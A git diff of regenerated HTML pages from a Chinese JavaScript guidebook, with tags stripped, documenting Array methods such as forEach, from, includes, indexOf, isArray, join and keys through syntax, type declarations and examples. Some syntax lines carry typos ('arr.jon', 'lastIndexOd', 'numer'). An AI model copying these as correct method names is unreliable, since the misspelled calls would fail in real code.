                                                                                                                            注意: 没有办法中止或者跳出 forEach 循环,除了抛出一个异常。如果你需要这样,使用 forEach() 函数是错误的,你可以用一个简单的循环作为替代。如果您正在测试一个数组里的元素是否符合某条件,且需要返回一个布尔值,那么可使用 every()some()。如果可用,新方法 find() 或者 findIndex() 也可被用于真值测试的提早终止。

                                                                                                                            代码示例

                                                                                                                            const arr = ['a', 'b', 'c'];
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.forEach()

                                                                                                                            Array.prototype.forEach() 方法用于迭代数组的每项成员。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.forEach( callbackfn [, thisArg ] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            forEach(callbackfn: (value: T, index: number, array: T[]) => void, thisArg?: any): void;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            callbackfn用于遍历数组成员时执行的回调函数function
                                                                                                                            thisArg执行回调函数的 this

                                                                                                                            callbackfn 函数的参数:

                                                                                                                            • currentValue:当前数组中处理的元素
                                                                                                                            • index:数组中正处理的当前元素的索引
                                                                                                                            • array:被调用的数组

                                                                                                                            返回值:

                                                                                                                            返回 undefined

                                                                                                                            方法说明

                                                                                                                            • 该方法按升序为数组中含有效值的每一项执行一次回调函数,那些已删除(使用 delete 方法等情况)或者未初始化的项将被跳过(但不包括那些值为 undefined 的项,例如在稀疏数组中)。
                                                                                                                            • 该方法遍历的范围在第一次调用回调函数前就会确定。调用 forEach() 后添加到数组中的项不会被 callbackfn 访问到。如果已经存在的值被改变,则传递给 callbackfn 的值是 forEach 遍历到他们那一刻的值。已删除的项不会被遍历到。如果已访问的元素在迭代时被删除了(例如使用 shift() ) ,之后的元素将被跳过。
                                                                                                                            • forEach() 为每个数组元素执行 callbackfn 函数;不像 map() 或者 reduce() ,它总是返回 undefined 值,并且不可链式调用。典型用例是在一个链的最后执行副作用。

                                                                                                                            注意: 没有办法中止或者跳出 forEach 循环,除了抛出一个异常。如果你需要这样,使用 forEach() 函数是错误的,你可以用一个简单的循环作为替代。如果您正在测试一个数组里的元素是否符合某条件,且需要返回一个布尔值,那么可使用 every()some()。如果可用,新方法 find() 或者 findIndex() 也可被用于真值测试的提早终止。

                                                                                                                            代码示例

                                                                                                                            const arr = ['a', 'b', 'c'];
                                                                                                                            arr.forEach(function (element) {
                                                                                                                            console.log(element);
                                                                                                                            });
                                                                                                                            -
                                                                                                                            arr.forEach((element) => console.log(element));
                                                                                                                            // a b c

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            arr.forEach((element) => console.log(element));
                                                                                                                            // a b c

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/from/index.html b/standard-built-in-objects/indexed-collections/array/from/index.html index 00ab0c04e..89b3d0f57 100644 --- a/standard-built-in-objects/indexed-collections/array/from/index.html +++ b/standard-built-in-objects/indexed-collections/array/from/index.html @@ -7,30 +7,33 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.from - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.from()

                                                                                                                            ⭐️ ES2015(ES6)新特性

                                                                                                                            Array.from() 方法用于将一个类数组对象或可迭代对象转换成一个新的数组实例。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            Array.from(arrayLike [, mapfn [, thisArg]])

                                                                                                                            类型声明:

                                                                                                                            interface ArrayLike<T> {
                                                                                                                            readonly length: number;
                                                                                                                            readonly [n: number]: T;
                                                                                                                            }
                                                                                                                            -
                                                                                                                            interface ArrayConstructor {
                                                                                                                            from<T>(arrayLike: ArrayLike<T>): T[];
                                                                                                                            -
                                                                                                                            from<T, U>(arrayLike: ArrayLike<T>, mapfn: (v: T, k: number) => U, thisArg?: any): U[];
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            arrayLike想要转换成数组的伪数组对象或可迭代对象typed array
                                                                                                                            mapfn(可选)如果指定了该参数,新数组中的每个元素会执行该回调函数。function
                                                                                                                            thisArg(可选)执行回调函数 mapFnthis 对象object

                                                                                                                            返回值:

                                                                                                                            返回一个新的数组实例。

                                                                                                                            方法说明

                                                                                                                            • 具备以下两种条件的的对象可以通过 Array.from() 方法转换成真正的数组:
                                                                                                                              • 类数组对象:即拥有 length 属性和若干索引属性的任意对象
                                                                                                                              • 可迭代对象:即部署了 Iterator 接口的对象,可以获取对象中的元素,如 MapSet
                                                                                                                            • Array.from() 方法有一个可选参数 mapfn,让你可以在最后生成的数组上再执行一次 Array.prototype.map 方法后再返回。也就是说 Array.from(arrayLike, mapfn, thisArg) 就相当于 Array.from(arrayLike).map(mapfn, thisArg) ,除非创建的不是可用的中间数组。 这对一些数组的子类,如对类型化数组来说很重要,因为中间数组的值在调用 map() 时需要是适当的类型。
                                                                                                                            • from()length 属性为 1 ,即 Array.from.length === 1
                                                                                                                            • 在 ES2015 中, Class 语法允许我们为内置类型(比如 Array)和自定义类新建子类(比如叫 SubArray)。这些子类也会继承父类的静态方法,比如 SubArray.from(),调用该方法后会返回子类 SubArray 的一个实例,而不是 Array 的实例。

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const bar = ['a', 'b', 'c'];
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.from()

                                                                                                                            ⭐️ ES2015(ES6)新特性

                                                                                                                            Array.from() 方法用于将一个类数组对象或可迭代对象转换成一个新的数组实例。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            Array.from(arrayLike [, mapfn [, thisArg]])

                                                                                                                            类型声明:

                                                                                                                            interface ArrayLike<T> {
                                                                                                                            readonly length: number;
                                                                                                                            readonly [n: number]: T;
                                                                                                                            }
                                                                                                                            +
                                                                                                                            interface ArrayConstructor {
                                                                                                                            from<T>(arrayLike: ArrayLike<T>): T[];
                                                                                                                            +
                                                                                                                            from<T, U>(arrayLike: ArrayLike<T>, mapfn: (v: T, k: number) => U, thisArg?: any): U[];
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            arrayLike想要转换成数组的伪数组对象或可迭代对象typed array
                                                                                                                            mapfn(可选)如果指定了该参数,新数组中的每个元素会执行该回调函数。function
                                                                                                                            thisArg(可选)执行回调函数 mapFnthis 对象object

                                                                                                                            返回值:

                                                                                                                            返回一个新的数组实例。

                                                                                                                            方法说明

                                                                                                                            • 具备以下两种条件的的对象可以通过 Array.from() 方法转换成真正的数组:
                                                                                                                              • 类数组对象:即拥有 length 属性和若干索引属性的任意对象
                                                                                                                              • 可迭代对象:即部署了 Iterator 接口的对象,可以获取对象中的元素,如 MapSet
                                                                                                                            • Array.from() 方法有一个可选参数 mapfn,让你可以在最后生成的数组上再执行一次 Array.prototype.map 方法后再返回。也就是说 Array.from(arrayLike, mapfn, thisArg) 就相当于 Array.from(arrayLike).map(mapfn, thisArg) ,除非创建的不是可用的中间数组。 这对一些数组的子类,如对类型化数组来说很重要,因为中间数组的值在调用 map() 时需要是适当的类型。
                                                                                                                            • from()length 属性为 1 ,即 Array.from.length === 1
                                                                                                                            • 在 ES2015 中, Class 语法允许我们为内置类型(比如 Array)和自定义类新建子类(比如叫 SubArray)。这些子类也会继承父类的静态方法,比如 SubArray.from(),调用该方法后会返回子类 SubArray 的一个实例,而不是 Array 的实例。

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const bar = ['a', 'b', 'c'];
                                                                                                                            Array.from(bar); // ["a", "b", "c"]
                                                                                                                            Array.from('foo'); // ["f", "o", "o"]

                                                                                                                            转换字符串

                                                                                                                            Array.from('foo'); // ["f", "o", "o"]

                                                                                                                            Array from a Set

                                                                                                                            let s = new Set(['foo', window]);
                                                                                                                            Array.from(s); // ["foo", window]

                                                                                                                            Array from a Map

                                                                                                                            let m = new Map([
                                                                                                                            [1, 2],
                                                                                                                            [2, 4],
                                                                                                                            [4, 8],
                                                                                                                            ]);
                                                                                                                            @@ -38,12 +41,12 @@
                                                                                                                            f(1, 2, 3); // [1, 2, 3]

                                                                                                                            使用箭头函数

                                                                                                                            // Using an arrow function as the map function to
                                                                                                                            // manipulate the elements
                                                                                                                            Array.from([1, 2, 3], (x) => x + x); // [2, 4, 6]
                                                                                                                            // Generate a sequence of numbers
                                                                                                                            // Since the array is initialized with `undefined` on each position,
                                                                                                                            // the value of `v` below will be `undefined`
                                                                                                                            Array.from({ length: 5 }, (v, i) => i); // [0, 1, 2, 3, 4]

                                                                                                                            数组去重合并

                                                                                                                            function combine() {
                                                                                                                            let arr = [].concat.apply([], arguments); // 没有去重复的新数组
                                                                                                                            return Array.from(new Set(arr));
                                                                                                                            }
                                                                                                                            const m = [1, 2, 2],
                                                                                                                            n = [2, 3, 3];
                                                                                                                            -
                                                                                                                            console.log(combine(m, n)); // [1, 2, 3]

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            console.log(combine(m, n)); // [1, 2, 3]

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/includes/index.html b/standard-built-in-objects/indexed-collections/array/includes/index.html index 8d622e5f7..7f9f6ddae 100644 --- a/standard-built-in-objects/indexed-collections/array/includes/index.html +++ b/standard-built-in-objects/indexed-collections/array/includes/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.includes - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.includes()

                                                                                                                            ⭐️ ES2016(ES7)新特性

                                                                                                                            Array.prototype.includes() 方法用于判断数组是否包含指定的值。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.includes(searchElement [, fromIndex])

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            includes(searchElement: T, fromIndex?: number): boolean;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            searchElement需要查找的元素值any
                                                                                                                            fromIndex查找数组开始的索引number

                                                                                                                            返回值:

                                                                                                                            如果存在指定值则返回 true,否则返回 false

                                                                                                                            代码示例

                                                                                                                            const arr = [1, 2, 3];
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.includes()

                                                                                                                            ⭐️ ES2016(ES7)新特性

                                                                                                                            Array.prototype.includes() 方法用于判断数组是否包含指定的值。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.includes(searchElement [, fromIndex])

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            includes(searchElement: T, fromIndex?: number): boolean;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            searchElement需要查找的元素值any
                                                                                                                            fromIndex查找数组开始的索引number

                                                                                                                            返回值:

                                                                                                                            如果存在指定值则返回 true,否则返回 false

                                                                                                                            代码示例

                                                                                                                            const arr = [1, 2, 3];
                                                                                                                            arr.includes(2);
                                                                                                                            // true
                                                                                                                            arr.includes(4);
                                                                                                                            // false
                                                                                                                            arr.includes(3, 3);
                                                                                                                            // false
                                                                                                                            @@ -38,12 +41,12 @@
                                                                                                                            arr.includes(NaN);
                                                                                                                            // true

                                                                                                                            开始索引超限

                                                                                                                            如果 fromIndex 大于等于 数组长度 ,则返回 false 。该数组不会被搜索。

                                                                                                                            var arr = ['a', 'b', 'c'];
                                                                                                                            arr.includes('c', 3);
                                                                                                                            // false
                                                                                                                            arr.includes('c', 100);
                                                                                                                            // false

                                                                                                                            开始索引为负值

                                                                                                                            如果 fromIndex 为负值,计算出的索引将作为开始搜索 searchElement 的位置。如果计算出的索引小于 0,则整个数组都会被搜索。

                                                                                                                            // 数组长度是 3
                                                                                                                            // fromIndex 是 -100
                                                                                                                            // computed index 是 3 + (-100) = -97
                                                                                                                            var arr = ['a', 'b', 'c'];
                                                                                                                            -
                                                                                                                            arr.includes('a', -100);
                                                                                                                            // true
                                                                                                                            arr.includes('b', -100);
                                                                                                                            // true
                                                                                                                            arr.includes('c', -100);
                                                                                                                            // true

                                                                                                                            类数组通用方法

                                                                                                                            Array.prototype.includes() 方法有意设计为通用方法。它不要求 this 值是数组对象,所以它可以被用于其他类型的对象(比如类数组对象)。

                                                                                                                            下面的例子展示了 在函数的 arguments 对象上调用的 includes() 方法。

                                                                                                                            (function () {
                                                                                                                            console.log([].includes.call(arguments, 'a'));
                                                                                                                            // true
                                                                                                                            console.log([].includes.call(arguments, 'd'));
                                                                                                                            // false
                                                                                                                            })('a', 'b', 'c');

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            arr.includes('a', -100);
                                                                                                                            // true
                                                                                                                            arr.includes('b', -100);
                                                                                                                            // true
                                                                                                                            arr.includes('c', -100);
                                                                                                                            // true

                                                                                                                            类数组通用方法

                                                                                                                            Array.prototype.includes() 方法有意设计为通用方法。它不要求 this 值是数组对象,所以它可以被用于其他类型的对象(比如类数组对象)。

                                                                                                                            下面的例子展示了 在函数的 arguments 对象上调用的 includes() 方法。

                                                                                                                            (function () {
                                                                                                                            console.log([].includes.call(arguments, 'a'));
                                                                                                                            // true
                                                                                                                            console.log([].includes.call(arguments, 'd'));
                                                                                                                            // false
                                                                                                                            })('a', 'b', 'c');

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/index-of/index.html b/standard-built-in-objects/indexed-collections/array/index-of/index.html index 37ac27a73..91930b5e0 100644 --- a/standard-built-in-objects/indexed-collections/array/index-of/index.html +++ b/standard-built-in-objects/indexed-collections/array/index-of/index.html @@ -7,37 +7,40 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.indexOf - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.indexOf()

                                                                                                                            Array.prototype.indexOf() 方法用于查找数组成员第一次出现指定字符的位置。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.indexOf( searchElement [, fromIndex] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            indexOf(searchElement: T, fromIndex?: number): number;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            searchElement要查找的数组元素any
                                                                                                                            fromIndex可选,在当前字符串中查找的起始索引,默认为 0number

                                                                                                                            返回值:

                                                                                                                            返回数组元素在当前数组中第一次查找到的起始位置(索引)

                                                                                                                            方法说明

                                                                                                                            该方法使用 Strict Equality(无论是绝对相等 ===,还是 Triple-equals 操作符都基于同样的方法)进行判断查找的元素与数组中包含的元素之间的关系。

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            var arr = [1, 2, 3, 4, 5];
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.indexOf()

                                                                                                                            Array.prototype.indexOf() 方法用于查找数组成员第一次出现指定字符的位置。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.indexOf( searchElement [, fromIndex] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            indexOf(searchElement: T, fromIndex?: number): number;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            searchElement要查找的数组元素any
                                                                                                                            fromIndex可选,在当前字符串中查找的起始索引,默认为 0number

                                                                                                                            返回值:

                                                                                                                            返回数组元素在当前数组中第一次查找到的起始位置(索引)

                                                                                                                            方法说明

                                                                                                                            该方法使用 Strict Equality(无论是绝对相等 ===,还是 Triple-equals 操作符都基于同样的方法)进行判断查找的元素与数组中包含的元素之间的关系。

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            var arr = [1, 2, 3, 4, 5];
                                                                                                                            arr.indexOf(1);
                                                                                                                            // 0
                                                                                                                            arr.indexOf(7);
                                                                                                                            // -1
                                                                                                                            arr.indexOf(4, 2);
                                                                                                                            // 3
                                                                                                                            arr.indexOf(3, -1);
                                                                                                                            // -1
                                                                                                                            arr.indexOf(3, -3);
                                                                                                                            // 2

                                                                                                                            找出指定元素出现的所有位置

                                                                                                                            // 存放指定元素出现的位置的数组
                                                                                                                            var indices = [];
                                                                                                                            // 被查找的数组
                                                                                                                            const array = ['a', 'b', 'a', 'c', 'a', 'd'];
                                                                                                                            // 查找的元素
                                                                                                                            var element = 'a';
                                                                                                                            var idx = array.indexOf(element);
                                                                                                                            while (idx != -1) {
                                                                                                                            indices.push(idx);
                                                                                                                            idx = array.indexOf(element, idx + 1);
                                                                                                                            }
                                                                                                                            -
                                                                                                                            console.log(indices);
                                                                                                                            // [0, 2, 4]

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            console.log(indices);
                                                                                                                            // [0, 2, 4]

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/index.html b/standard-built-in-objects/indexed-collections/array/index.html index d83abb084..5ffe5e380 100644 --- a/standard-built-in-objects/indexed-collections/array/index.html +++ b/standard-built-in-objects/indexed-collections/array/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/is-array/index.html b/standard-built-in-objects/indexed-collections/array/is-array/index.html index fa0ff0104..7ef3723a9 100644 --- a/standard-built-in-objects/indexed-collections/array/is-array/index.html +++ b/standard-built-in-objects/indexed-collections/array/is-array/index.html @@ -7,29 +7,32 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.isArray - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.isArray()

                                                                                                                            Array.isArray() 方法用于确定某个值是否是数组类型。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            Array.isArray(arg);

                                                                                                                            类型声明:

                                                                                                                            interface ArrayConstructor {
                                                                                                                            isArray(arg: any): arg is any[];
                                                                                                                            }
                                                                                                                            -
                                                                                                                            declare var Array: ArrayConstructor;

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            arg需要检测的值any

                                                                                                                            返回值:

                                                                                                                            如果对象是 Array 的实例,则返回 true ;否则为 false

                                                                                                                            代码示例

                                                                                                                            下面的函数调用都返回 true

                                                                                                                            Array.isArray([]);
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.isArray()

                                                                                                                            Array.isArray() 方法用于确定某个值是否是数组类型。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            Array.isArray(arg);

                                                                                                                            类型声明:

                                                                                                                            interface ArrayConstructor {
                                                                                                                            isArray(arg: any): arg is any[];
                                                                                                                            }
                                                                                                                            +
                                                                                                                            declare var Array: ArrayConstructor;

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            arg需要检测的值any

                                                                                                                            返回值:

                                                                                                                            如果对象是 Array 的实例,则返回 true ;否则为 false

                                                                                                                            代码示例

                                                                                                                            下面的函数调用都返回 true

                                                                                                                            Array.isArray([]);
                                                                                                                            Array.isArray([1]);
                                                                                                                            Array.isArray(new Array());
                                                                                                                            Array.isArray(Array.prototype);

                                                                                                                            鲜为人知的事实:其实 Array.prototype 也是一个数组。

                                                                                                                            Array.isArray(Array.prototype);

                                                                                                                            下面的函数调用都返回 false

                                                                                                                            Array.isArray();
                                                                                                                            @@ -40,12 +43,12 @@
                                                                                                                            Array.isArray('Array');
                                                                                                                            Array.isArray(true);
                                                                                                                            Array.isArray(false);
                                                                                                                            -
                                                                                                                            Array.isArray({ __proto__: Array.prototype });

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            Array.isArray({ __proto__: Array.prototype });

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/join/index.html b/standard-built-in-objects/indexed-collections/array/join/index.html index 1ca3b21f1..a4f702437 100644 --- a/standard-built-in-objects/indexed-collections/array/join/index.html +++ b/standard-built-in-objects/indexed-collections/array/join/index.html @@ -7,38 +7,41 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.join - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.join()

                                                                                                                            Array.prototype.join() 方法将数组(或类数组对象)的所有成员连接到字符串中。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            const str = arr.jon(separator);

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            join(separator?: string): string;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            separator将数组各元素连接成字符串的字符string

                                                                                                                            返回值:

                                                                                                                            返回一个所有数组成员连接的字符串。如果数组长度为 0,则返回空字符串。

                                                                                                                            方法说明

                                                                                                                            所有的数组成员被转换成字符串,再用一个分隔符将这些字符串连接起来。如果元素是 undefined 或者 null, 则会转化成空字符串。

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const arr = ['1', '2', '3', '4', '5'];
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.join()

                                                                                                                            Array.prototype.join() 方法将数组(或类数组对象)的所有成员连接到字符串中。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            const str = arr.jon(separator);

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            join(separator?: string): string;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            separator将数组各元素连接成字符串的字符string

                                                                                                                            返回值:

                                                                                                                            返回一个所有数组成员连接的字符串。如果数组长度为 0,则返回空字符串。

                                                                                                                            方法说明

                                                                                                                            所有的数组成员被转换成字符串,再用一个分隔符将这些字符串连接起来。如果元素是 undefined 或者 null, 则会转化成空字符串。

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const arr = ['1', '2', '3', '4', '5'];
                                                                                                                            // 不传参数默认以逗号作为分隔符
                                                                                                                            arr.join();
                                                                                                                            // '1,2,3,4,5'
                                                                                                                            arr.join(', ');
                                                                                                                            // '1, 2, 3, 4, 5'
                                                                                                                            arr.join(' + ');
                                                                                                                            // '1 + 2 + 3 + 4 + 5'
                                                                                                                            arr.join('');
                                                                                                                            // '12345'

                                                                                                                            类数组对象

                                                                                                                            下面的示例将连接类数组对象 arguments,通过在 Array.prototype.join() 上调用 Function.prototype.call

                                                                                                                            function func(a, b, c) {
                                                                                                                            const s = Array.prototype.join.call(arguments);
                                                                                                                            console.log(s);
                                                                                                                            }
                                                                                                                            -
                                                                                                                            func(1, 'a', true);
                                                                                                                            // '1,a,true'

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            func(1, 'a', true);
                                                                                                                            // '1,a,true'

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/keys/index.html b/standard-built-in-objects/indexed-collections/array/keys/index.html index 6d77173ad..31811ee07 100644 --- a/standard-built-in-objects/indexed-collections/array/keys/index.html +++ b/standard-built-in-objects/indexed-collections/array/keys/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.keys - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.keys()

                                                                                                                            Array.prototype.keys() 方法用于获取一个新的 Iterator 对象,它包含数组中每个索引的键。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.keys();

                                                                                                                            类型声明:

                                                                                                                            interface IteratorYieldResult<TYield> {
                                                                                                                            done?: false;
                                                                                                                            value: TYield;
                                                                                                                            }
                                                                                                                            -
                                                                                                                            interface IteratorReturnResult<TReturn> {
                                                                                                                            done: true;
                                                                                                                            value: TReturn;
                                                                                                                            }
                                                                                                                            -
                                                                                                                            type IteratorResult<T, TReturn = any> = IteratorYieldResult<T> | IteratorReturnResult<TReturn>;
                                                                                                                            -
                                                                                                                            interface Iterator<T, TReturn = any, TNext = undefined> {
                                                                                                                            // NOTE: 'next' is defined using a tuple to ensure we report the correct assignability errors in all places.
                                                                                                                            next(...args: [] | [TNext]): IteratorResult<T, TReturn>;
                                                                                                                            return?(value?: TReturn): IteratorResult<T, TReturn>;
                                                                                                                            throw?(e?: any): IteratorResult<T, TReturn>;
                                                                                                                            }
                                                                                                                            -
                                                                                                                            interface IterableIterator<T> extends Iterator<T> {
                                                                                                                            [Symbol.iterator](): IterableIterator<T>;
                                                                                                                            }
                                                                                                                            -
                                                                                                                            interface Array<T> {
                                                                                                                            keys(): IterableIterator<number>;
                                                                                                                            }

                                                                                                                            返回值:

                                                                                                                            返回 一个新的 Array Iterator 对象。

                                                                                                                            代码示例

                                                                                                                            let arr = ['a', 'b', 'c'];
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.keys()

                                                                                                                            Array.prototype.keys() 方法用于获取一个新的 Iterator 对象,它包含数组中每个索引的键。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.keys();

                                                                                                                            类型声明:

                                                                                                                            interface IteratorYieldResult<TYield> {
                                                                                                                            done?: false;
                                                                                                                            value: TYield;
                                                                                                                            }
                                                                                                                            +
                                                                                                                            interface IteratorReturnResult<TReturn> {
                                                                                                                            done: true;
                                                                                                                            value: TReturn;
                                                                                                                            }
                                                                                                                            +
                                                                                                                            type IteratorResult<T, TReturn = any> = IteratorYieldResult<T> | IteratorReturnResult<TReturn>;
                                                                                                                            +
                                                                                                                            interface Iterator<T, TReturn = any, TNext = undefined> {
                                                                                                                            // NOTE: 'next' is defined using a tuple to ensure we report the correct assignability errors in all places.
                                                                                                                            next(...args: [] | [TNext]): IteratorResult<T, TReturn>;
                                                                                                                            return?(value?: TReturn): IteratorResult<T, TReturn>;
                                                                                                                            throw?(e?: any): IteratorResult<T, TReturn>;
                                                                                                                            }
                                                                                                                            +
                                                                                                                            interface IterableIterator<T> extends Iterator<T> {
                                                                                                                            [Symbol.iterator](): IterableIterator<T>;
                                                                                                                            }
                                                                                                                            +
                                                                                                                            interface Array<T> {
                                                                                                                            keys(): IterableIterator<number>;
                                                                                                                            }

                                                                                                                            返回值:

                                                                                                                            返回 一个新的 Array Iterator 对象。

                                                                                                                            代码示例

                                                                                                                            let arr = ['a', 'b', 'c'];
                                                                                                                            let iterator = arr.keys();
                                                                                                                            // undefined
                                                                                                                            console.log(iterator);
                                                                                                                            // Array Iterator {}
                                                                                                                            console.log(iterator.next());
                                                                                                                            // Object {value: 0, done: false}
                                                                                                                            @@ -41,12 +44,12 @@
                                                                                                                            console.log(iterator.next());
                                                                                                                            // Object {value: 2, done: false}
                                                                                                                            console.log(iterator.next());
                                                                                                                            // Object {value: undefined, done: true}

                                                                                                                            索引迭代器会包含那些没有对应元素的索引。

                                                                                                                            const arr = ['a', , 'c'];
                                                                                                                            const sparseKeys = Object.keys(arr);
                                                                                                                            const denseKeys = [...arr.keys()];
                                                                                                                            console.log(sparseKeys); // ['0', '2']
                                                                                                                            -
                                                                                                                            console.log(denseKeys); // [0, 1, 2]

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            console.log(denseKeys); // [0, 1, 2]

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/last-index-of/index.html b/standard-built-in-objects/indexed-collections/array/last-index-of/index.html index 421fdd2d1..1d7bc0fc8 100644 --- a/standard-built-in-objects/indexed-collections/array/last-index-of/index.html +++ b/standard-built-in-objects/indexed-collections/array/last-index-of/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.lastIndexOf - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.lastIndexOf()

                                                                                                                            Array.prototype.lastIndexOf() 方法用于查找指定数组成员在数组中最后一次出现的位置。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.lastIndexOd( searchElement [, fromIndex ] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            lastIndexOf(searchElement: T, fromIndex?: number): number;
                                                                                                                            }

                                                                                                                            参考资料:

                                                                                                                            参数说明类型
                                                                                                                            searchElement需要查找的数组元素any
                                                                                                                            fromIndex在当前数组中查找的起始索引,默认为 arr.lengt - 1numer

                                                                                                                            返回值:

                                                                                                                            返回值为 Number 类型,返回数组元素在当前数组中最后一次查找到的起始位置(索引)。

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const arr = [2, 5, 9, 2];
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.lastIndexOf()

                                                                                                                            Array.prototype.lastIndexOf() 方法用于查找指定数组成员在数组中最后一次出现的位置。

